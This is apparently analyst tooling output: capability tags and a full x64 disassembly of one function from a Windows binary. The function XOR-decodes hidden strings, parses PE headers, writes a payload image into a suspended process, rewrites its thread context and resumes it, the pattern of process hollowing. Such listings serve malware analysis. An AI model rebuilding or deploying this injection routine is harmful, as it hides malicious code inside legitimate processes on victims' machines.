Function at 0x140075ac0
Capabilities:
Encode data using xor
Parse pe header
Resolve function by parsing pe exports
Resume thread

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0xb8
lea rbp, [rsp + 0xf0]
xorps xmm4, xmm4
movaps xmmword [rbp - 0x60], xmm4
xor eax, eax
mov qword [rbp - 0x50], rax
mov rbx, qword [0x1401d35b8]
mov rax, rbx
cmp word [rax], 0x5a4d
je 0x140075afe
xor ecx, ecx
jmp 0x140075b0f
movsxd rcx, dword [rax + 0x3c]
cmp word [rbx + rcx + 0x18], 0x20b
sete cl
movzx ecx, cl
mov byte [0x1401d35b0], cl
xor esi, esi
xor edi, edi
movzx ecx, byte [0x1401d35b0]
test ecx, ecx
jne 0x140075b2f
movsxd rsi, dword [rax + 0x3c]
add rsi, rbx
mov ecx, dword [rsi]
jmp 0x140075b38
movsxd rdi, dword [rax + 0x3c]
add rdi, rbx
mov ecx, dword [rdi]
cmp ecx, 0x4550
jne 0x140076107
call fcn.1401124d0
mov ecx, 0x60
mov edx, 0x40
cmp eax, 8
cmovne ecx, edx
call fcn.140076230
mov rbx, rax
call fcn.1401124d0
mov ecx, 0x18
mov edx, 0x10
cmp eax, 8
cmovne ecx, edx
movsxd rcx, ecx
call fcn.1400cc0b0
mov qword [rbp - 0x40], rax
mov rcx, qword [0x1401d2448]
mov r14, qword [rcx + 8]
lea rcx, [0x140149f40]
mov edx, 0xc
call fcn.140004350
xor ecx, ecx
mov edx, ecx
lea r8, [0x14011ebd0]
movzx r8d, word [r8 + rdx*2 + 0xc]
mov r10d, ecx
and r10d, 0xf
lea r9, [0x1401315f0]
movzx r10d, word [r9 + r10*2 + 0xc]
xor r8d, r10d
mov word [rax + rdx*2 + 0x10], r8w
inc ecx
cmp ecx, 0xc
jl 0x140075ba0
mov rcx, rax
call fcn.140082a30
mov r15, rax
lea rcx, [0x140149f40]
mov edx, 0xe
call fcn.140004350
xor ecx, ecx
mov edx, ecx
lea r8, [0x1401226b0]
movzx r8d, word [r8 + rdx*2 + 0xc]
mov r10d, ecx
and r10d, 0xf
lea r9, [0x14011c3c0]
movzx r10d, word [r9 + r10*2 + 0xc]
xor r8d, r10d
mov word [rax + rdx*2 + 0x10], r8w
inc ecx
cmp ecx, 0xe
jl 0x140075bf1
mov rcx, rax
call fcn.140082a30
mov r13, rax
mov rcx, r15
call fcn.140073650
test rax, rax
je 0x140075c49
mov rcx, rax
mov rdx, r13
call fcn.140073780
jmp 0x140075c4b
xor eax, eax
test rax, rax
je 0x1400760a5
xor ecx, ecx
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rbx
mov r10, qword [rbp - 0x40]
mov qword [rsp + 0x48], r10
mov qword [rsp + 0x50], rax
mov rcx, r14
lea rdx, [0x14011c3a8]
xor r8d, r8d
xor r9d, r9d
call fcn.140071fa0
test eax, eax
je 0x1400760a5
test rbx, 0xffffffffffff0000
je 0x140075cd3
mov rcx, rbx
mov qword [rbp - 0x90], rcx
lea rcx, [rbp - 0x88]
call fcn.140005ef0
mov rcx, qword [rbp - 0x90]
call sub.KERNEL32.dll_LocalFree
lea rcx, [rbp - 0x88]
call fcn.140005f40
cmp byte [0x1401d35b0], 0
je 0x140075ce2
mov rbx, qword [rdi + 0x30]
jmp 0x140075ce5
mov ebx, dword [rsi + 0x34]
mov r10, qword [rbp - 0x40]
mov r14, qword [r10]
call fcn.1401124d0
mov ecx, 8
mov edx, 4
cmp eax, 8
cmovne ecx, edx
movsxd rcx, ecx
mov r10, qword [rbp - 0x40]
mov r15, qword [r10 + rcx]
mov rcx, r14
mov rdx, rbx
call fcn.140076380
test r14, r14
je 0x14007607e
test r15, r15
je 0x14007607e
movzx ecx, byte [0x1401d35b0]
test ecx, ecx
je 0x140075d43
mov r8d, dword [rdi + 0x50]
mov r13d, dword [rdi + 0x54]
movzx r12d, word [rdi + 6]
jmp 0x140075d50
mov r8d, dword [rsi + 0x50]
mov r13d, dword [rsi + 0x54]
movzx r12d, word [rsi + 6]
test ecx, ecx
je 0x140075d59
mov eax, dword [rdi + 0x28]
jmp 0x140075d5c
mov eax, dword [rsi + 0x28]
mov dword [rbp - 0x44], eax
mov dword [rsp + 0x20], 0x40
mov rcx, r14
mov rdx, rbx
mov r9d, 0x3000
call fcn.140073e00
mov rbx, rax
mov r8, qword [0x1401d35b8]
xor ecx, ecx
mov dword [rbp - 0x50], ecx
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x20], rcx
mov rcx, r14
mov rdx, rbx
mov r9d, r13d
call fcn.1400763f0
test eax, eax
jne 0x140076057
add rdi, 0x108
add rsi, 0xf8
cmp byte [0x1401d35b0], 0
cmove rdi, rsi
xor esi, esi
test r12d, r12d
jle 0x140075e04
mov edx, dword [rdi + 0xc]
add rdx, rbx
mov r8d, dword [rdi + 0x14]
add r8, qword [0x1401d35b8]
mov r9d, dword [rdi + 0x10]
xor ecx, ecx
mov dword [rbp - 0x50], ecx
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x20], rcx
mov rcx, r14
call fcn.1400763f0
test eax, eax
jne 0x140076030
add rdi, 0x28
inc esi
cmp esi, r12d
jl 0x140075dc6
mov ecx, 0x4d0
mov eax, 0x2cc
cmp byte [0x1401d35b0], 0
cmove ecx, eax
movsxd rcx, ecx
call fcn.1400cc0b0
mov rsi, rax
cmp byte [0x1401d35b0], 0
jne 0x140075e34
mov dword [rsi], 0x10002
jmp 0x140075e3b
mov dword [rsi + 0x30], 0x10001b
cmp byte [0x1401d35b0], 0
je 0x140075e58
mov rcx, r15
mov rdx, rsi
call fcn.1400739e0
test eax, eax
jne 0x140075e6b
jmp 0x140075f6d
mov rcx, r15
mov rdx, rsi
call fcn.140073980
test eax, eax
je 0x140076009
mov edi, dword [rsi + 0xa4]
mov r13, qword [rsi + 0x88]
mov rcx, rbx
call fcn.140088860
add r13, 0x10
add edi, 8
movsxd rcx, edi
cmp byte [0x1401d35b0], 0
mov rdx, rcx
cmovne rdx, r13
mov ecx, dword [rax + 8]
mov r9d, ecx
xor r8d, r8d
mov qword [rbp - 0x60], r8
mov dword [rbp - 0x50], r8d
mov qword [rbp - 0x60], rax
test ecx, ecx
je 0x140075eba
add rax, 0x10
mov r8, rax
jmp 0x140075ebd
xor r8d, r8d
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x20], rcx
mov rcx, r14
call fcn.1400763f0
test eax, eax
sete cl
movzx ecx, cl
xor edx, edx
mov qword [rbp - 0x60], rdx
test ecx, ecx
je 0x140075fe2
cmp byte [0x1401d35b0], 0
jne 0x140075efc
mov ecx, dword [rbp - 0x44]
add rcx, rbx
mov qword [rsi + 0xb0], rcx
jmp 0x140075f09
mov ecx, dword [rbp - 0x44]
add rcx, rbx
mov qword [rsi + 0x80], rcx
cmp byte [0x1401d35b0], 0
je 0x140075f23
mov rcx, r15
mov rdx, rsi
call fcn.140073920
test eax, eax
jne 0x140075f36
jmp 0x140075f94
mov rcx, r15
mov rdx, rsi
call fcn.1400738c0
test eax, eax
je 0x140075fbb
mov rcx, r15
mov qword [rbp - 0x90], rcx
lea rcx, [rbp - 0x88]
call fcn.140005ef0
mov rcx, qword [rbp - 0x90]
call sub.KERNEL32.dll_ResumeThread
lea rcx, [rbp - 0x88]
call fcn.140005f40
mov qword [rbp - 0x58], r14
jmp 0x1400760cf
lea rcx, [0x140139558]
call fcn.140004230
mov rbx, rax
mov rcx, rbx
lea rdx, [0x140123fd0]
call fcn.140086690
mov rcx, rbx
call fcn.1400047a0
int3
lea rcx, [0x140139558]
call fcn.140004230
mov rbx, rax
mov rcx, rbx
lea rdx, [0x140124258]
call fcn.140086690
mov rcx, rbx
call fcn.1400047a0
int3
lea rcx, [0x140139558]
call fcn.140004230
mov rbx, rax
mov rcx, rbx
lea rdx, [0x140124258]
call fcn.140086690
mov rcx, rbx
call fcn.1400047a0
int3
lea rcx, [0x140139558]
call fcn.140004230
mov rbx, rax
mov rcx, rbx
lea rdx, [0x140124310]
call fcn.140086690
mov rcx, rbx
call fcn.1400047a0
int3
lea rcx, [0x140139558]
call fcn.140004230
mov rbx, rax
mov rcx, rbx
lea rdx, [0x140124040]
call fcn.140086690
mov rcx, rbx
call fcn.1400047a0
int3
lea rcx, [0x140139558]
call fcn.140004230
mov rbx, rax
mov rcx, rbx
lea rdx, [0x140124398]
call fcn.140086690
mov rcx, rbx
call fcn.1400047a0
int3
lea rcx, [0x140139558]
call fcn.140004230
mov rbx, rax
mov rcx, rbx
lea rdx, [0x1401242a8]
call fcn.140086690
mov rcx, rbx
call fcn.1400047a0
int3
lea rcx, [0x140139558]
call fcn.140004230
mov rbx, rax
mov rcx, rbx
lea rdx, [0x140123f68]
call fcn.140086690
mov rcx, rbx
call fcn.1400047a0
int3
lea rcx, [0x140139558]
call fcn.140004230
mov rbx, rax
mov rcx, rbx
lea rdx, [0x140123f20]
call fcn.140086690
mov rcx, rbx
call fcn.1400047a0
int3
mov rcx, rsp
call fcn.14007617d
nop
mov rax, qword [rbp - 0x58]
add rsp, 0xb8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [0x140139558]
call fcn.140004230
mov rbx, rax
mov rcx, rbx
lea rdx, [0x140125e28]
call fcn.140086690
mov rcx, rbx
call fcn.1400047a0
int3